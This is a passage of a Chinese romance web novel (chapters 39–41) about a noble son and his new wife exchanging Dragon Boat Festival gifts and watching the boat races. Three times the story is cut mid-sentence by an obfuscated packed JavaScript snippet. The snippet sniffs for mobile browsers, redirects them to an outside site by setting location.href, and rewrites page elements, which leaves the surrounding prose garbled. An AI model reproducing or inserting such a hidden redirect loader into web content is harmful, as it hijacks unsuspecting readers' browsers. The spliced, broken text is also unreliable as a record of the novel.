陈灵珠想了想道:“会气,不过应当不会气太久。” “为何?” “看上别人的男人要来何用?生气坏的是自己身子,不值当。” 李济:“……” 39. 第 39 章 次日一早,陈灵珠刚刚睡醒,杏儿便说世子有请。 陈灵珠梳洗了,来到东院。 一进门,她就看到桌上放着几本红彤彤的册子。 她问:“世子找我何事?” 李济抬抬下巴,示意她看那些册子。 “这是什么?”她一边伸手拿册子一边问李济。 李济拿着一本书半靠坐在坐榻上,双腿交叠着,看似随意地瞥了她一眼,满不在乎的样子,其实头微微向外侧着,将她的神色尽收眼底:“打开看看就知道了。” 又故意卖关子,陈灵珠瞥他一眼,手伸向册子。打开一看,她顿时说不出话来。 是婚帖,写着她的生辰八字、排行还有小字的婚帖。 此物本该在成亲前交换,但此前,镇国公府手上的婚帖是陈灵瑛的。 她爹娘不知为何一直也没将她的庚帖送过来,大概是觉得陛下已经开口,此事再无异议,不需要多此一举,免得徒增尴尬罢。 没想到李济记得去改这个。 见她拿着婚帖看着,一动不动,似乎有些意外和惊喜,李济放下手中的书笑道:“怎么,高兴傻了?” 将文书也正了名,自然是值得高兴的,陈灵珠含笑抬头问他:“世子昨日就是去办这件事?” 当然不是,这种事情他亲自办并不合适。 但他不想解释他昨日为何会出现在怀远伯府,遂点头:“嗯。” “谢谢你,世子。”她道,眉眼弯了,露出嘴角的梨涡。 每当她这样笑,李济就知道,她的高兴不是装出来的。 “举手之劳罢了。” 这自然不是举手之劳,何况就算举手之劳她也领他的情,“谢世子的举手之劳。” 小姑娘三分感动,七分愉悦的模样,不知怎的,李济看得心头有些发痒,想捏一捏她鼓鼓的脸蛋。 正犹豫着要不要伸手,阿拙进来了。 “世子。”阿拙禀道:“张公子来了,还有张少夫人也来了。” 李济微微挑了挑眉。 陈灵珠问道:“张公子是谁?” 李济道:“见了你就知道了,看热闹的来了。” 陈灵珠疑惑地望着他,他站起身对陈灵珠道:“走罢,一起见那好事的去,见了你就明白了。” 前日知道金玉阁前站着的女子就是陈灵珠后,张现和顾言立即变了说辞。 顾言看着他道:“外面那些关于嫂夫人的传言,想来都是假的?” 张现也道:“看弟妹面相,也不像那等不堪之人。” 李济:“……” 隔着那么远,你们就能看清她的面相了? 张现道:“其实陈大人的所作所为,与弟妹并无关系。” 顾言认同:“说得是,嫁出去的女儿泼出去的水,总不能让嫂夫人还为娘家背锅。” 张现忽然善解人意起来:“这里面最难过的,当是弟妹了,这亲爹弹劾亲丈夫,她连委屈都没处诉说。” 顾言也是设身处地,“说起来,这陈大人对嫂夫人这个女儿,也真是心狠,哪个做父亲的像他如此,我要是有了女儿,绝对舍不得这么伤害她。” 李济:“……” 两位突然态度大变,不就是看到了她的脸吗? 这么以貌取人,不好罢? 但这就是他的好友,看在一起长大的份上,李济认了。 不但认了,李济还知道,张现回去一定会告诉他的妻子傅映瑶,那多事的傅映瑶定然坐不住,要来看一看陈灵珠。 听说有女客来了,陈灵珠也没推辞,跟着一起往外走。 夫妻两个到了待客的偏厅,张现、傅映瑶夫妻见二人来了,忙站了起来,傅映瑶更是立时将目光粘在陈灵珠脸上,闪烁着兴奋的光芒。 陈灵珠被这样热切的目光看得都不好意思了,羞涩地朝傅映瑶笑了笑。 李济为他们介绍,傅映瑶连忙上前激动地拉着陈灵珠的手道:“都说济之没人配得上,如今见了你,我才知道原来他也有配不上的人!” 李济:“……” 夸她便夸她罢,能不要顺便给他一杆子吗? 这个傅映瑶,狗嘴里就没吐出象牙过,也就是他看在小时候一起长大的情份上,不与她计较。 陈灵珠被夸得不好意思,赧然道:“张少夫人过奖了。” 傅映瑶道:“前日隐之回来说,济之这小子塞翁失马,走了狗屎运,娶进府里的非但不是——”她将“母夜叉”三字及时吞了进去,见陈灵珠似乎没有看穿,暗道庆幸,接着道:“听说济之娶了个小仙子,我当时就等不及想来看看了,可惜天黑了不好上门。昨日想来的,偏我开的镖局又出了点事,一时脱不开身。今日一早,我就催着隐之来了,可他说大清早没有去人家府上做客的,害我足足等了两个时辰。如今见了你,总算得偿所愿。” 陈灵珠:“……” 这个张少夫人说话风趣,可是这爱看热闹的心是溢于言表,难怪李济会说她是好事之人。 不过,张现前日何曾见过她?她回忆了一下,前日……莫非是在永安街上? 她看向李济,不知他是有读心术,还是不明所以,竟点了点头。 傅映瑶看着陈灵珠满脸心疼道:“长这样的小仙子,怎么外面把你传得这么不堪。” 陈灵珠被傅映瑶左一句小仙子右一句小仙子夸得脸都红了,道:“张少夫人快别夸我了,我也没有这么好。” 傅映瑶让陈灵珠别叫她张少夫人,叫阿姊,“相由心生,你肯定就是这么好。” 李济:“……” 不是一家人不进一家门,这夫妻两个连以貌取人这德性都一模一样。 不过,他看向陈灵珠,暗想:但凡见过她,就不可能相信她是那等又蠢又坏的人罢。 傅映瑶对陈灵珠的好奇与喜欢无需多言,陈灵珠虽一开始对傅映瑶的热情有些招架不住,但多谈了一会,也开始有些喜欢傅映瑶。 她热情、率真、直白,想到什么说什么。且因她自己开了一家镖局的缘故,见识也非普通的后院女子可比。 面对这样的傅映瑶,陈灵珠心中欢喜,又对她有些好奇,两人很快相见恨晚。 见两人聊得欢,李济和张现便把花厅让给她们,去了书房。 两人先说了一会儿朝堂上的事,张现道:“弹劾的事,都处理好了?” 李济点头。 张现叹道:“这陈进,怎么就跟你前世的仇人似的,追着你不放呢。你都已经做了他的女婿了,还是如此。” 看出李济与陈灵珠相处得不坏,他笑道:“如何?” “什么如何?” “如今你也是成了亲的人了,如何?可曾体会到成亲的好处?” 张现与妻子感情好,对他来说,成亲只有好处,因此以前常常劝李济早点娶妻。 此前因为传言,他还为李济担忧了一阵,如今自然知道他不过是白担心。 成亲的好处么?李济回想了一番,自从这个小女子来到身边后,虽时常被她气得咬牙,但确实多了许多快乐,就连养伤,也不那么难熬了。 但此事不足为人道,他也不是什么都往外说的性子,便淡淡道:“尚可。” 张现笑道:“如此便好。” 他一直觉得李济不解风情,用傅映瑶的话说便是“白长了这么一张脸。” “济之,不瞒你说,我最庆幸的事,便是娶了瑶儿。日后你跟弟妹感情好了,便能体会到何为难分难舍、牵肠挂肚。我如此,瑶儿也是如此。就说瑶儿罢,就算与我分开,与闺中密友出去逛逛,也不会忘了给我带点小玩意儿。有时是糕点,有时是泥人儿,有时是其他的别致小玩意儿。我自然不会在意什么糕点、泥人儿,我在乎的,不过是那份时时把我时时记挂着的心。还有……” 他举起腰上一个色彩斑斓,但七扭八扭、手工极差的络子朝李济扬了扬。 “这个络子,是瑶儿打的。瑶儿不擅针线,熬了两个晚上才给我打好的。” 李济明白了,其他都是假的,炫耀他这个五彩丝线络子才是真的。 生怕李济看得不清楚,张现还将络子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751526|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从腰带上解了下来,递给李济道:“瑶儿说,她要她的夫君做第一个挂上端午节络子的人。” 再过几日才是端午节,一般都是端午节当日才会挂上这东西。 这是什么值得骄傲的事吗?而且做这样的第一个有何意义? 李济根本不想接这络子,然而张现就像没看出他的拒绝一样,硬把络子往他手里一塞。 李济勉强把这络子拿起来看了两眼,面露嫌弃,但好友的面子还是要给的:“有进步。” 张现见他不懂欣赏,将络子拿了回来,“东西虽常见,可心意难得。济之,你与弟妹没到那份儿上,不知道这其中的玄妙。再过些时日罢,再过些时日你就懂了。” 口里是这么说,心中却想:济之这榆木疙瘩,再过一百年也不会懂。 …… 五月初四这日,陈灵珠得了空,就带上两个丫鬟,到她的几个嫁妆铺子巡视。 看到几乎每一间铺子都顾客盈门,她顿时有一种富甲天下的错觉。 心中欢喜,她便大手一挥,带着两个丫鬟到永宁街做豪客去了。 申牌时分,她回到了梅林上筑。 明间里有一张大的桌子,陈灵珠用下巴指指那桌子道:“先把东西都放那儿。” 李济恰在明间坐着,抬头见她和两个丫鬟、还有跟着的两个女伙计手上都提满了了大包小包,五十只手指差点要拿不过来。 简直跟要搬空人家的店铺似的。 那两个女伙计东西送到,对着陈灵珠福了福身,又朝正在太师椅上坐着的李济行了礼方退了出去。 东西都放在桌子上,陈灵珠与两个丫鬟商量着,将东西分成了几个小堆。 接着,她唤了杏儿过来,指着东西告诉她这包是太夫人的,那包是夫人的,这一堆是各个小叔子、小姑子的,吩咐她给各个院子里送去。 杏儿答应一声,叫了另外几个丫鬟过来,几人拿起东西准备走。 陈灵珠止住杏儿,指着一堆包好的点心道:“这些是秀心斋近日新出的糕饼,你们拿下去分着吃罢。” 杏儿笑着道:“谢少夫人,难为少夫人还想着婢子们。” 陈灵珠笑道:“点心罢了,每个人都有份。” 杏儿笑着出去了,紫苏和茯苓也拿着她们的和姜嬷嬷的东西出去了,桌上只剩下一个包装得很是精美的小包。 这包东西是给谁的,不言而喻。 李济的唇角微微上翘,余光瞥了那小包一眼,又不经意地看向别处。 不知她给他带了什么。 无论是什么都不要紧,心意罢了。 他想起前几日张现说的话,暗地里一嗤。 看张现那个没出息的样子,还来他面前炫耀。 出去了随手带点礼物回来,本就是人之常情,有何可向人夸耀之处? “世子。”这小女子终于拿起那个小包,转头对他说话。 “嗯?”他的目光仍滞留在别处,并未抬头,只微微侧了侧脸。 “世子?”她又唤了一声。 她一片心意,总不理她也不好,他终于将目光从花瓶上挪开,缓缓看向了她。 小姑娘出去一趟,出了薄汗,将她的细细绒毛粘在额头上。不过,她嘴角含笑,出去一趟显然玩得很是尽兴,更显得神采飞扬。 她指着那小包东西,似乎有些为难。 这有何可不好意思的,他笑了,用鼓励的眼神看着她。 无论她买的是什么,他都会领这份心意。 她这才道:“世子,这是我给阿拙买的,你帮我给他罢?” 阿拙今日告假,不在镇国公府里。 李济:“……” 陈灵珠有些过意不去的样子:“本来也不必劳烦世子,但我不知道阿拙在何处,这东西又不好放太久。” 见李济没反应,她想了想又道:“算了,还是不麻烦世子了,待杏儿送了东西回来,得了空,我再让她处理罢。” 说着,她便拿起那个纸包,走出了明间,进了西院。 李济:“……” 40. 第 40 章 次日便是端午节,一大早,宫里便赏赐了许多东西下来,大大小小的礼盒摆满了整个厅堂,其中不乏贵重首饰、绫罗绸缎,更有人参、鹿茸、龙骨、珍珠、燕窝等贵重药草,药草说是给太夫人、国公夫人和李济补身体的,其他的东西众人各自有份。 送赏赐来的宫使说,陛下希望李世子早日康复,再为国效力。 送走了宫使,陈灵珠便带着一众丫鬟和李庸、阿拙,在梅林上筑里嘻嘻哈哈地挂艾草、菖蒲,不亦乐乎地尝试各个口味的粽子,还给每人都送了一条五色线编成的手绳。 欢声笑语传遍了整个院子,每个人脸上都洋溢着笑容,除了李济。 今日回来做事的阿拙心里犯嘀咕,端午这样的佳节,世子却不知何故,一早就阴沉着脸,似是有些不快。 此刻更是盯着他的手腕,似要将他的手腕盯出个窟窿来。 被这样盯着,阿拙很是不安,连忙问:“世子为何这么看着小人?可是这五色线有什么不妥?” 李济问他:“你手上的绳子是哪儿来的?” 他看到李庸手上也有,还告诉他,这是嫂嫂专门编给他的。 阿拙摸了摸手绳道:“世子说这个呀,这五色丝线是少夫人赏的,我和院子里的姐姐们都有。” 说到这里,他忍不住夸陈灵珠道:“少夫人手可巧呢,一会儿的功夫就编了一大堆的手绳,给每个人都派了一条,说让大家都辟辟邪。” 被排除在“每个人”外的李济:“……” 阿拙夸完少夫人,发现世子脸色更差了。 他疑心是世子不喜欢这种五彩绳,或者认为五色绳能辟邪是胡说,不情不愿道:“世子可是不喜欢?那小人摘下来好了。” 李济撇开眼,“不必,喜欢就戴着罢。少夫人呢?” 阿拙道:“少夫人吃了粽子,说撑得慌,和七公子去花园玩了。” 李济嗯了一声,让阿拙出去了。 到了用膳时间,陈灵珠回来了。 跑了几圈,吃的粽子已经消化完毕,所以她依然坐到食案上,与李济一起用膳。 “世子,”她将口中的黄鳝吞了下去才道:“今日怎么没听你说过话?” 李济今日格外沉默,从坐下吃饭开始,还一言未发。 这个场景不知怎的,有些似曾相识。 “食不言寝不语,有何可说的?” 话是这么说,但平时他可不是这么做的,有时说得比她还多。 不知谁又惹了他。 总归不是她。 她一边夹菜,一边腹诽。 李济先吃完了,他放下碗筷,缓缓地将窄袖捋了一点上去,露出一截手腕,然后才拿起帕子慢条斯理地擦嘴角。 看到他光秃秃的手腕,陈灵珠这才想起来,她有两样东西还没给他呢。 她放下碗筷,跑去了西院。 饭没吃完就跑这种事绝无仅有,李济不知她干什么去,正疑惑着,陈灵珠已经气喘吁吁地跑了回来。 “世子。”她伸出一只手,将一个物件递给了他。 李济心中一动,矜持地问道:“这是何物?” “香囊呀。”她扳着手指数:“我放了艾叶、丁香、香草、白芷、甘松、苍术、麝香,菖蒲、藿香,驱邪辟瘟的。” 李济接过,那香囊甚是小巧,下面还缀了一个精巧的五彩络子,看起来煞是可爱。 “还有这个,也给你。” 她递过来一条五彩绳,与李庸那条有些相似,但比阿拙他们手上的要复杂、精美得多,每一个小节点都包了一颗小玛瑙,显然不是临时能编出来的。 看得出来,她编这些个东西颇费了些心思和功夫。 “都是给我的?” “嗯。”陈灵珠点头:“本来早就要给你的,后来忙着做其他的事情,我给忙忘了。” 其实是忙着玩其他的东西玩忘了。 但她有必要这么诚实吗? 没有。 李济将香囊和五彩绳把玩了几下,微笑道:“虽是寻常物件,但编得尚可入眼。” 他说话一向难听,陈灵珠也懒得跟他计较。饭还没用完,她便坐下继续。 到底是她一片心意,李济小心地把香囊挂到革带上,又把手绳戴到手腕,转了转。 “世子不怕别人笑话你吗?” 时下有些男人,怕被人笑话,这些小玩意儿是万万不会佩戴的。 就是被家中妻子逼得没法,一出门,也定然偷偷取下来,或是改为戴到不起眼的脚上。 他脸色不变,“传统习俗,有何可笑话的。” 笑话别人的人,定是家中无妻或是与妻子不睦,求而不得,所以笑话别人,以此来掩饰自己的失落。 像张现之流,还害怕别人注意不到,恨不得将这些东西挂在最显眼的位置四处显摆呢。 不怕笑话最好,虽是随手一编,到底也是一点心意,谁也不愿自己的心意被人糟蹋。 “世子往年的端午是怎么过的?” 李济回想了一番。近十年的端午,他都是在边关过的,守军之人也无所谓节日不节日,不过是军中会在这一日吃得好些,吃两个粽子应应景儿罢了。 再往前,那时候他还小,倒是会出门去看龙舟赛,甚至去河里泡泡龙舟水。 “你呢?端午节会做什么?” 陈灵珠的端午节,也没什么愉快的回忆。虽是会一家人一起用膳,但气氛不见得美好,而且往往饭还没吃完,爹娘就开始训斥她了。 有一年,她想出去看龙舟赛,刚提出来,就被父亲教训了一通,说她作为一个闺中女子,不以贞静为尚,反而总是往这种人员嘈杂的地方挤。 讽刺的是,教训她、让她回院子闭门思过之后不久,她听说,父母亲带着姐姐和弟弟们出门了。 所以这一日,多数时候,她都是默默地吃完饭,然后便回自己的院子,与丫鬟们玩,最多带着丫鬟们到花园里放纸鸢。 但这些都没必要再提了,她道:“也没做什么,在院子里呆着。” 这个小女子是个待不住的,能在院子里待着,想必是不被允许出去。 想了想,他问她:“你可要出去走走?” 她当然是要出去的,看一看街道的热闹、孩童的笑脸,还有河里的龙舟竞渡。李济就是不问,过会儿她也会自己出府的。 不必她回答,看她的表情便能知道她的答案了,他笑了一下,道:“收拾一下,我带你出去看看。” 陈灵珠雀跃,把剩下的一口饭吃了,放下碗筷,回西院换衣裳去了。 等她收拾好,李济已在庭院里等着她。 “走罢。”看了她一眼,李济道。 她头梳云顶髻,一身荼白中带胭脂色的襦裙,前面是五彩的丝带,看起来很是飘逸。 很适合端午节,也很适合她。 两人并排往大门走,他偷眼看陈灵珠,见她嘴角压不住,端庄地走了几步就忍不住蹦蹦跳跳起来。 不过是出去走走而已,这么值得高兴? 走了一段,陈灵珠忽然停住脚步,拍了一下自己的额头,“我怎么忘了七弟!今日他定然也想出去!” 说着就要转身往李庸的院子走。 李济伸手拉住了她:“七弟不喜欢出门。” 陈灵珠道:“怎么可能,小孩儿哪有不喜欢出门的?” 李济道:“他身子弱,母亲等闲不让他出门。” 陈灵珠有些疑惑,李庸看起来身子并不弱,而且平日就算了,今日端午节也不让他出门? “走罢,再不走,太阳都要下山了。” 他力气甚大,陈灵珠被拉着,只好作罢。再一想,李济作为亲哥哥,想必比她这个入门不久的嫂嫂清楚,便也就算了。 到了大门外,马车已经等着了。 今日李济不打算骑马,扶她上车后自己也跟着上了马车。 陈灵珠问他:“世子,我们去哪儿?” 李济想了想道:“先去汴河边。” 陈灵珠本来就想去看龙舟竞渡,这个安排正合她意,笑道:“我也是这么想。” 她的笑容实在灿烂,李济不自觉地也跟着唇角微扬。 马车很快到了汴河边,李济先下车,然后将她扶了下来。 龙舟赛已经结束了一轮,但第二轮还没开始。汴河两岸人山人海,下手早的人在岸旁搭起了高高的看台,抢不到好位置的则站在一切能站的地方,包括河堤、树杈、离得稍近人家的屋顶,真正是八仙过海各显神通。 人群里不时发出一阵阵激动的鼓噪之声,人人脸上都带着期待和激动之色。小童尤其快活,在人群中钻来钻去。 许多小贩抓住了这难得的机会,带着粽子、风车、糖果等小物件四处兜售。 李济见她盯着风车看,招手让一个幞头上插满风车和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751527|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糖果的小贩过来,问她:“你想要哪个?” 她有些不好意思要,“这些是小孩儿玩的物件。” 李济轻嗤一声道:“你几时像个大人了?” 何况本来也不算大人。 陈灵珠:“……” 这个人,永远是不说话的时候最好。 但她真的很想体验小孩儿的快乐,便选了一只银粉色的风车,想了想,又选了一只五彩的。 “拿回去给七弟玩也好。” 李济微微一笑,没揭穿她。 他又买了几串冰糖葫芦,一起递给她。 风车都买了,冰糖葫芦更不需扭捏了,她笑眯眯地接过,自己拿了一串,其他的给了两个丫鬟,然后一手拿风车,一手拿着冰糖葫芦,在最上面那颗山楂上咬了一口。 又酸又甜。 她微微眯了眼,小时候缺失的欢乐,好像在这一刻都得到了弥补。 李济看着她满足的神情,不自觉也笑了,问她:“可要去咱们府里的看台?” 镇国公府的管事早就派人在河边搭好了看台,以备府里哪个主子要看龙舟赛。陈灵珠道:“先不急,我们先在岸边看一看,世子觉得可好?” 看龙舟赛,最重要的就是气氛,高台虽视线好、望得远,但到底少了些意思。 李济道好,在河边找了个人稍少的地方,让陈灵珠站在最前面,他站在陈灵珠的后边,两个丫鬟一左一右站在陈灵珠的两边。 这样,就不会有人冲撞到她了。 一声锣响,龙舟竞渡开始了。 听到锣声的一刹那,八条龙舟上的桡手齐齐发力,龙舟争先恐后地冲了出去。 本次龙舟赛的赛程为一里,到达指定地点后需调转龙舟,以先回到起点者为胜。 听着咚咚锵锵的锣鼓和此起彼伏的呐喊助威之声,陈灵珠心潮澎湃,随着人群一起呐喊。 没多久,胜负分出,恰好是陈灵珠最看好的那支队伍夺冠,她激动得跳了起来,“赢了赢了!,世子,赢了!” 她早就摘了帷帽,风儿吹着她的发丝、衣带和披帛,李济离她近,衣带、披帛吹向了他,随之而来的,还有她身体的馨香。 望着她,他微笑起来,从前他总嫌弃女孩儿的脂粉味,如今才知道,其实这个味道,也很好闻。 一场比赛胜负已分,桡手们暂时休息,想离开的人群便一窝蜂涌了过来。 陈灵珠他们站的位置看龙舟赛很好,但人群散去就不算好了,不断有想朝反方向走的人挤压过来。 李济牵起她的手,拉着她往外走,“跟我来。” 如此牵着,与牵着她上马车一触即放的感觉不大相同,似更柔软了。 他忍不住握得紧了些。 陈灵珠却觉得不太舒服,微微用了点力想挣开,李济握紧道:“别动,人太多,别被冲散了。” 此时恰好有一个人撞了过来,李济将陈灵珠拉到他身边护着,这才没被撞上。 “拉紧,不要松手。” 见姑娘和世子要走,紫苏抬脚就要跟上去。 茯苓却将她拉住不让走:“等等。” 紫苏挣扎道:“你拉着我做什么,快跟上呀,姑娘该要被冲撞了。” 茯苓示意她看前面的两人:“有世子呢,急什么。” 紫苏后知后觉地,才发现世子竟然拉着少夫人的手,愣了一瞬道:“世子这是……” 茯苓笑道:“我们晚一点再过去找他们。” 她拉着紫苏躲到一个角落。 到了人少的地方,人群都往另一个方向走了,不会往这里来,李济才缓缓松开陈灵珠的手。 大概是天气有些热,他的脸现出些绯色来。毕竟刚才保护了她,陈灵珠大方地将帕子递了过去道:“世子,擦擦汗。” 李济接过,低头一看,还是那条绣着小猪的帕子。 “帕子上为何绣猪?”他问。 如今没什么可隐瞒的了,陈灵珠道:“不过是因为生肖。” “再说了,猪多可爱,肉也很好吃。” 李济:“……” 时刻不忘吃,这才是她的本色。 人群散尽了,陈灵珠这才看到两个丫鬟跑了过来。 “少夫人,世子。”紫苏掖掖额头上不存在的汗,“可算找到你们了,你们走得好快。” 茯苓:“……” 紫苏妹妹,太假了可不好。 41. 第 41 章 看完龙舟赛时辰还早,陈灵珠道:“世子,我带你去一个你喜欢的地方。” “哦?什么地方?” 陈灵珠道:“去了你就知道了。” 李济想不到她要带他去何处,但她神神秘秘地,说他肯定会喜欢,他便道好,由着她带路。 只见小姑娘指挥着车夫穿过宽阔的大街,驶入蜿蜒的小巷,七拐八拐的,穿过好几个街坊,最终将他带到了一间破旧的打铁铺前。 李济:“……” 他怎么不知道,自己何时喜欢上了打铁铺? 他迟疑地问道:“我们来这里是?” 陈灵珠跳下马车道:“进去看看就知道了。” 说罢,她率先走了进去,看那样子,很是熟门熟路,倒是一点不嫌弃铁匠铺的灼热和脏乱。 “贵人。”脸上闪着油光的铁匠见了陈灵珠,连忙放下手里的活计,抬起肩膀擦了擦脸上的汗水,迎了出来,“您来了。” 这铁匠看起来还不到二十岁,笑起来憨憨的,透着几分青涩。 陈灵珠道:“铁匠师傅,把我要的那把剑拿出来看看。” 铁匠道是,走入铺中,将刚刚烧得红红的剑从炉中取出,放进水里,“滋”地一声响。 白烟散去,铁匠将剑取出,毕恭毕敬地送了过来,交到丫鬟手上。 “贵人请过目。” 陈灵珠对李济道:“世子,这间铁匠铺我听说很有名,昨日特地过来为你订了一把剑。这位铁匠师傅说,这是他打的最好的一把剑,你看看如何。” 李济伸手接过,将剑仔仔细细地看了一遍。 这是一把普普通通的剑,平平无奇,甚至称得上粗劣。 倘若这一把就是这间铁匠铺最好的作品,那这间铺子恐怕支撑不了太久。 但他说不出不好的话来。 似乎有一股暖流,涌入他的心房,然后顺着砰砰的心跳继续传向四肢百骸,让他情不自禁地露出微笑。 张现说得对,收礼重要的从来不是礼物本身,而是心意。 “确是一把好剑。”他道。 “真的?”听他也这么说,她弯了眉眼,笑出了小梨涡。 她确实不懂剑,本来有些担心铁匠师傅夸大其词,但李济阅剑无数,如今既然他都说好,那估计是真的好无疑了。 铁匠听到李济说好,憨厚地笑了笑。 他的师父一直说他未出师,不肯让他单独锻剑,看罢,他打的第一把剑就得到了贵人的肯定,等师父探亲回来,看他还有什么可说的。 “宝剑”还要再过一段时间才打造好,陈灵珠与李济先回府。 陈灵珠“忙”了一日,颇觉困倦,便靠在车壁上,闭眼养神。 没多久,李济就看到她小鸡啄米似地打瞌睡,铁匠铺地处偏远,路上不甚平坦,马车时不时地“哐当”一下,她的头便随着马车的晃动,一下一下地撞在车壁上。 但她还是没醒。 李济看得有些好笑,慢慢挪了过去,让她的头靠在自己的肩膀上,用他的一只手固定住。 别让她撞傻了。 …… 陈灵珠一觉醒来,才发现自己靠在李济的肩膀上睡着了。 她忍不住看了一眼李济肩上的衣服,又装作不经意地摸了摸嘴角。 他笑道:“放心,没流口水。” 陈灵珠:“……” 她有些尴尬地笑,他就不能装作不知道么。 李济先下了马车,伸手将她扶了下来。 “走罢。” 镇国公府的规矩,逢年节、太夫人的生辰,几房人就要一起用晚膳,今日的晚膳摆在芷兰厅。陈灵珠、李济二人到芷兰厅时,几个小的已经先到了。 陈灵珠将冰糖葫芦和五彩风车递给李庸,笑道:“不过这会儿可不能吃冰糖葫芦,马上要用晚膳了,到时候吃不下,可是长不高的。” 李庸最希望自己像二哥一样又高又大,闻言乖乖地把冰糖葫芦递给了奶娘,只拿着五彩风车在轩窗旁对着风看它转了又转。 李庸的奶娘感激地看了陈灵珠一眼,李照芙却冷冷地哼了声。 就会拿些小恩小惠收买人心。 偏偏不但李庸吃她这套,连她二哥、母亲、祖母都被她骗得团团转。 真是气死人。 她恨恨地扭过头。 没多久,国公夫人、三夫人等也陆续到了。 说话间,太夫人也来了。 太夫人在上座坐定,二夫人才带着她的儿媳妇温月如神色匆匆地进来了。 国公夫人环顾了一周问:“二弟妹,海儿呢?” 除了李海,其他人都已经到齐了。 二夫人不满地扫了温月如一眼,温月如垂下了头。 她的婆母跟她说,今日绝对不能让李海出去,必须让他在府里待着,可她怎么可能拦得住。眼看天色将晚,李海还没回来,婆母骂了她一顿,又派人出去找,可京城那么大,销金窟那么多,谁知道他在其中哪一个? 找了半日人没找到,估摸着太夫人都到芷兰厅了,婆母没办法,这才再骂了她几句,匆匆忙忙地赶了过来。 见众人都望着她们婆媳,二夫人越发尴尬,只好勉强笑道:“他临时有点事,一时赶不回来,说让咱们不必等他了。” 太夫人有些不悦,李海一个无官无职又不管事的人,能有什么事,一家子一起用个饭都赶不回来? 必是到哪里胡混去了。 但她也没说什么,当着这么大一家子老的少的,她也不想让二夫人和温月如脸上不好看,遂温和道:“既如此,咱们别等他了,开动罢。” 二夫人这才松了一口气,又暗恨国公夫人。 刚才太夫人都没说什么,偏她眼尖,非要问起李海,故意让她难堪。 他们大房自己的事还没料理清楚呢,就迫不及待管上别人的事了。 就说他们大房的那个儿媳妇罢,如今算是有娘家还是没有? 二夫人越想越不忿,便故意说起温月如明日回娘家准备的节礼一事,想要大房难堪。 太夫人听了却道:“济儿,说起来,灵珠嫁过来之后,你还没陪她回过娘家呢。” 李济道是,太夫人又道:“虽说你岳父在朝堂上与你政见有些不合,但不管在朝堂如何,灵珠既是咱们镇国公府明媒正娶的媳妇,你便该去拜见岳父岳母,全了礼数,这也是咱们镇国公府的气量。” 二夫人正吃着一个炙烧的鹌鹑蛋,一不小心滑入喉咙,差点没将她噎死。 好不容易吞下去,她瞪眼望向太夫人,什么意思?这算什么? 李照芙撇开眼,哼,她早就知道祖母是个偏心眼的。 李济道:“是,孙儿谨遵祖母教诲。” 陈灵珠其实并不想回陈家,不说陈灵瑛,她的父母也未必愿意看到她,太夫人虽是好心,但这件事着实没必要。 她开口想拒绝:“祖母,我……” 李济凑到她耳边低声道:“去一趟罢,祖母说的没错,总要全了礼数,在你祖父母灵位前告诉他们一声,你已经嫁了人。” 本朝的习俗,家中女儿三朝回门之时,要与新女婿一起拜祭娘家祖先,如此,才算完成整套婚仪。 陈灵珠不在乎别的虚仪,但她年幼时,全靠祖母庇护才能过得好些,于情于理,她都应该与李济一同拜祭祖母。 太夫人嘱咐国公夫人:“灵珠这是第一次正式回门,礼物要准备得好看些。” 国公夫人应是,说自己会准备得妥妥当当。 太夫人如此帮她做脸,再拒绝就是不知好歹了,陈灵珠只好对太夫人道谢。 二夫人气得饭也没吃几口,她本是想讽刺大房,这下倒好,为大房这个刁钻媳妇做了嫁衣裳! 用罢晚膳,众人各自散去,陈灵珠陪太夫人回她的松鹤院,李济则陪着国公夫人去了正院。陈灵珠猜他是要和国公夫人商量节礼的事,也没多问。 次日一早,陈灵珠用了早膳,与李济一起给太夫人、国公夫人请安拜别后才出门。行至大门口,见门口停了几辆披红挂绿的马车,问了,才知道这几辆车是要跟着她回娘家的,车上装的,都是她此次归宁的节礼。 昨日太夫人说节礼要准备得好看些,但这阵仗也太大了。 前几日她爹还弹劾李济,镇国公府的气量真就这般大? 她看向李济,他也在看那些节礼,她道:“世子,这会否太夸张了些?” 李济笑道:“祖母说了,镇国公府不能失了礼数,这是我们两人第一次一起回门,再多也不算多。再说了,不准备多一些,别人还以为我对你不满呢,如今可是体现你夫君气量的时候。” 他笑着伸出手,“走罢。” 他说得也有道理,陈灵珠不再纠结,把手递给他,上了车。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755719|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >挂着镇国公府标记的几辆马车颇为引人注目,车走得也不快,路人见了,纷纷侧目。 路人甲:“这是镇国公府的马车?” 路人乙:“可不是!都挂着镇国公府的标记呢。” 路人甲:“他们这是去哪儿?” 路人乙:“不知道,跟上去看看不就知道了。” 